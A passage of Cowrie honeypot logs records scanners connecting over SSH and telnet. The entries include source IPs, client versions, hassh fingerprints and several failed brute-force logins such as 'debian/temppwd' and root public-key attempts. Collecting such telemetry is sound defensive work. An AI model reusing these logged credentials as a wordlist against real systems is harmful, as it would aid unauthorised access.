$\\xf3H\\x8b\\xac\\xa3\\xd8\\x11%:1]i\\x1d\\x11\\xc2t\\x86x\\x01\\x1e\\x9e\\x12Q\\xda\\x05\\xb6\\x7f\\xa4\\xf5\\x1f\\x90\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 .\\x1b\\x12\\x83\\xb8\\xf9\\xb9\\x01\\xfe\\xf2\\xca\\x143\\xd5 Z\\x9d\\x81\\x1ew\\x01\\x1aj\\xef\\xda\\x8cr\\x84qw\\x7f!\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:59.403699Z","src_ip":"77.90.185.17","session":"cfdac8a004b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:59.514831Z","src_ip":"77.90.185.17","session":"cfdac8a004b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.105","src_port":46228,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d277d020041","protocol":"telnet","message":"New connection: 185.242.3.105:46228 (10.17.0.5:23) [session: 2d277d020041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:59:23.023092Z"}
{"eventid":"cowrie.session.closed","duration":30.05993938446045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:59:53.082911Z","src_ip":"185.242.3.105","session":"2d277d020041","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.223.50.131","src_port":37554,"dst_ip":"159.203.135.109","dst_port":23,"session":"4110ef8fa4d8","protocol":"telnet","message":"New connection: 61.223.50.131:37554 (159.203.135.109:23) [session: 4110ef8fa4d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:00:49.355923Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":21596,"dst_ip":"10.17.0.5","dst_port":22,"session":"63a4bae505b3","protocol":"ssh","message":"New connection: 2.57.121.25:21596 (10.17.0.5:22) [session: 63a4bae505b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:00:56.522969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:00:56.527282Z","src_ip":"2.57.121.25","session":"63a4bae505b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:00:56.635448Z","src_ip":"2.57.121.25","session":"63a4bae505b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"manuals","message":"login attempt [user/manuals] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:00:57.129514Z","src_ip":"2.57.121.25","session":"63a4bae505b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"manifest","message":"login attempt [user/manifest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:00:58.237902Z","src_ip":"2.57.121.25","session":"63a4bae505b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"mamont","message":"login attempt [user/mamont] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:00:59.346146Z","src_ip":"2.57.121.25","session":"63a4bae505b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"mahalkita","message":"login attempt [user/mahalkita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:01:00.454144Z","src_ip":"2.57.121.25","session":"63a4bae505b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"magoo","message":"login attempt [user/magoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:01:01.562785Z","src_ip":"2.57.121.25","session":"63a4bae505b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:01:02.706366Z","src_ip":"2.57.121.25","session":"63a4bae505b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.048314332962036,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:01:24.404222Z","src_ip":"61.223.50.131","session":"4110ef8fa4d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":23964,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cb4fba03a57","protocol":"ssh","message":"New connection: 185.156.73.233:23964 (159.203.135.109:22) [session: 4cb4fba03a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:02:20.168533Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":30850,"dst_ip":"10.17.0.5","dst_port":22,"session":"a218a1ed4c58","protocol":"ssh","message":"New connection: 185.156.73.233:30850 (10.17.0.5:22) [session: a218a1ed4c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:02:20.722067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:02:21.484792Z","src_ip":"185.156.73.233","session":"4cb4fba03a57","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:02:21.562632Z","src_ip":"185.156.73.233","session":"a218a1ed4c58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:02:21.632535Z","src_ip":"185.156.73.233","session":"4cb4fba03a57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:02:21.746052Z","src_ip":"185.156.73.233","session":"a218a1ed4c58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"temppwd","message":"login attempt [debian/temppwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:02:22.863867Z","src_ip":"185.156.73.233","session":"a218a1ed4c58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"temppwd","message":"login attempt [debian/temppwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:02:22.931243Z","src_ip":"185.156.73.233","session":"4cb4fba03a57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:02:24.027053Z","src_ip":"185.156.73.233","session":"a218a1ed4c58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:02:24.031552Z","src_ip":"185.156.73.233","session":"4cb4fba03a57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":32934,"dst_ip":"159.203.135.109","dst_port":22,"session":"8792d339c052","protocol":"ssh","message":"New connection: 139.19.117.129:32934 (159.203.135.109:22) [session: 8792d339c052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:04:43.265582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:04:43.270107Z","src_ip":"139.19.117.129","session":"8792d339c052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:04:43.358668Z","src_ip":"139.19.117.129","session":"8792d339c052","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:9d:a3:c8:a1:b2:f8:9d:cb:24:eb:4f:86:cd:9b:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt8DhtXAZ1eBZh0BBolR52frAsBjx9KWErMraBWh4tWX9tk1+wy2cl4BVIF2kBKCWpRxIJpyF0B9cNI8E+uyRDkCaUwMnQFmylQjEMcJ7QfccNeHkhlXTV5sDnJolVRI2IKxHKF9Cg6lQ2jwekN8mUz1Rffe5lu+bt3be5V0ofs+b3rnAXt5iWi6FuqH4v8iPj5GUfZ0FUf1M4/M83mPntE2gwYTzfAJB2LhQpHcYdmJPP2ixxIp55QUadZkR658aXhv6V1ulnDHX58ddtVp+Awpi9H5caaDLUNYG0lJ7kA/XEyd9GvzJMHQQ0gIJ1iaj+xMq2etw3JfroJQzB+W2/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:9d:a3:c8:a1:b2:f8:9d:cb:24:eb:4f:86:cd:9b:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:04:43.539547Z","src_ip":"139.19.117.129","session":"8792d339c052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:9d:a3:c8:a1:b2:f8:9d:cb:24:eb:4f:86:cd:9b:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt8DhtXAZ1eBZh0BBolR52frAsBjx9KWErMraBWh4tWX9tk1+wy2cl4BVIF2kBKCWpRxIJpyF0B9cNI8E+uyRDkCaUwMnQFmylQjEMcJ7QfccNeHkhlXTV5sDnJolVRI2IKxHKF9Cg6lQ2jwekN8mUz1Rffe5lu+bt3be5V0ofs+b3rnAXt5iWi6FuqH4v8iPj5GUfZ0FUf1M4/M83mPntE2gwYTzfAJB2LhQpHcYdmJPP2ixxIp55QUadZkR658aXhv6V1ulnDHX58ddtVp+Awpi9H5caaDLUNYG0lJ7kA/XEyd9GvzJMHQQ0gIJ1iaj+xMq2etw3JfroJQzB+W2/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:04:43.543547Z","src_ip":"139.19.117.129","session":"8792d339c052","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:9d:a3:c8:a1:b2:f8:9d:cb:24:eb:4f:86:cd:9b:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt8DhtXAZ1eBZh0BBolR52frAsBjx9KWErMraBWh4tWX9tk1+wy2cl4BVIF2kBKCWpRxIJpyF0B9cNI8E+uyRDkCaUwMnQFmylQjEMcJ7QfccNeHkhlXTV5sDnJolVRI2IKxHKF9Cg6lQ2jwekN8mUz1Rffe5lu+bt3be5V0ofs+b3rnAXt5iWi6FuqH4v8iPj5GUfZ0FUf1M4/M83mPntE2gwYTzfAJB2LhQpHcYdmJPP2ixxIp55QUadZkR658aXhv6V1ulnDHX58ddtVp+Awpi9H5caaDLUNYG0lJ7kA/XEyd9GvzJMHQQ0gIJ1iaj+xMq2etw3JfroJQzB+W2/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:9d:a3:c8:a1:b2:f8:9d:cb:24:eb:4f:86:cd:9b:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:04:43.637485Z","src_ip":"139.19.117.129","session":"8792d339c052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:9d:a3:c8:a1:b2:f8:9d:cb:24:eb:4f:86:cd:9b:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt8DhtXAZ1eBZh0BBolR52frAsBjx9KWErMraBWh4tWX9tk1+wy2cl4BVIF2kBKCWpRxIJpyF0B9cNI8E+uyRDkCaUwMnQFmylQjEMcJ7QfccNeHkhlXTV5sDnJolVRI2IKxHKF9Cg6lQ2jwekN8mUz1Rffe5lu+bt3be5V0ofs+b3rnAXt5iWi6FuqH4v8iPj5GUfZ0FUf1M4/M83mPntE2gwYTzfAJB2LhQpHcYdmJPP2ixxIp55QUadZkR658aXhv6V1ulnDHX58ddtVp+Awpi9H5caaDLUNYG0lJ7kA/XEyd9GvzJMHQQ0gIJ1iaj+xMq2etw3JfroJQzB+W2/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:04:43.641039Z","src_ip":"139.19.117.129","session":"8792d339c052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:04:53.265844Z","src_ip":"139.19.117.129","session":"8792d339c052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.142.113.25","src_port":37560,"dst_ip":"10.17.0.5","dst_port":23,"session":"a32334a5aa0d","protocol":"telnet","message":"New connection: 43.142.113.25:37560 (10.17.0.5:23) [session: a32334a5aa0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:06:37.929991Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47610,"dst_ip":"10.17.0.5","dst_port":22,"session":"54dd90635764","protocol":"ssh","message":"New connection: 2.57.122.208:47610 (10.17.0.5:22) [session: 54dd90635764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:07:05.515327Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:07:05.622854Z","src_ip":"2.57.122.208","session":"54dd90635764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.781580924987793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:07:09.711469Z","src_ip":"43.142.113.25","session":"a32334a5aa0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":57825,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fea05732c0c","protocol":"ssh","message":"New connection: 213.209.159.159:57825 (10.17.0.5:22) [session: 2fea05732c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:07:45.075065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:07:45.079391Z","src_ip":"213.209.159.159","session":"2fea05732c0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256",